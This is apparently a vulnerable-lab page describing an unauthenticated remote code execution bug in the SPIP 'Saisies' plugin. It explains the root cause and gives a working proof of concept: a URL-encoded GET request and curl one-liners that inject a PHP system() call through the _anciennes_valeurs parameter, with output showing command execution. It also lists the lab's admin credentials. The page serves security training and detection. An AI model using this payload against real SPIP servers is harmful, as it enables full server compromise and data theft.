SPIP Saisies Plugin - Unauthenticated Remote Code Execution
Run this lab
Lab not starting or behaving wrong? Report a problem with this lab
Summary
The 'Saisies pour formulaire' plugin for SPIP contains a critical unauthenticated Remote Code Execution vulnerability. The _anciennes_valeurs parameter bypasses SPIP's protege_champ() sanitization due to its underscore prefix, and the #ACTION_FORMULAIRE balise renders with interdire_scripts=false, allowing injected PHP tags to survive template compilation and execute via eval() during the form loading phase.
Technical detail
Impact
Successful exploitation allows an unauthenticated remote attacker to execute arbitrary system commands with the privileges of the web server process (www-data). This can lead to: - Complete server compromise - Data exfiltration from the database and filesystem - Installation of web shells or backdoors - Lateral movement within the network - Website defacement
Exploitation & proof of concept
SPIP Saisies _anciennes_valeurs PHP Code Injection
The function saisies_formulaire_charger_generer_hidden_ancienne_valeur_depubliee() in saisies_pipelines.php directly interpolates user-supplied _anciennes_valeurs parameter into an HTML hidden input value attribute without any sanitization: return "<input type='hidden' name='_anciennes_valeurs' value='$encode' />"; Combined with interdire_scripts=false on #ACTION_FORMULAIRE, injected PHP tags execute during SPIP template compilation via eval().
GET /spip.php?page=contact&_anciennes_valeurs=x%27%2F%3E%3C%3Fphp%20system%28%27id%27%29%3B%20%3F%3E%3Cinput%20value%3D%27x HTTP/1.1 Host: {{Hostname}}
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8
_anciennes_valeurs=x' /><?php system('id'); ?><input value='xuid=www-dataNuclei detection: vt-2025-71243.nuclei.yaml
manual: ["Start lab: docker-compose up -d", "Wait for initialization (~60s)", "Send exploit payload to the form page"]
curl_examples: ["RCE via _anciennes_valeurs injection: curl -s \"http://localhost:8025/spip.php?page=contact&_anciennes_valeurs=x%27%2F%3E%3C%3Fphp%20system%28%27id%27%29%3B%20%3F%3E%3Cinput%20value%3D%27x\"", "Detection check (non-destructive): curl -s \"http://localhost:8025/spip.php?page=contact&_anciennes_valeurs=x%27%2F%3E%3C%3Fphp%20echo%20%27VT_RCE_CHECK%27%3B%20%3F%3E%3Cinput%20value%3D%27x\" | grep -o \"VT_RCE_CHECK\""]
Remediation
Lab setup notes
- Access web interface at http://localhost:8025/
- Admin panel at http://localhost:8025/ecrire/ (admin / admin123)
- Vulnerable contact form at http://localhost:8025/spip.php?page=contact
References
- https://vulnerability.circl.lu/vuln/cve-2025-71243
- https://blog.spip.net/Mise-a-jour-critique-de-securite-pour-le-plugin-Saisies.html
- https://plugins.spip.net/saisies
- https://chocapikk.com/posts/2026/spip-saisies-rce/
- https://github.com/Chocapikk/CVE-2025-71243
- https://www.vulncheck.com/advisories/spip-saisies-plugin-remote-code-execution
- https://vulnerabletarget.com/VT-2025-71243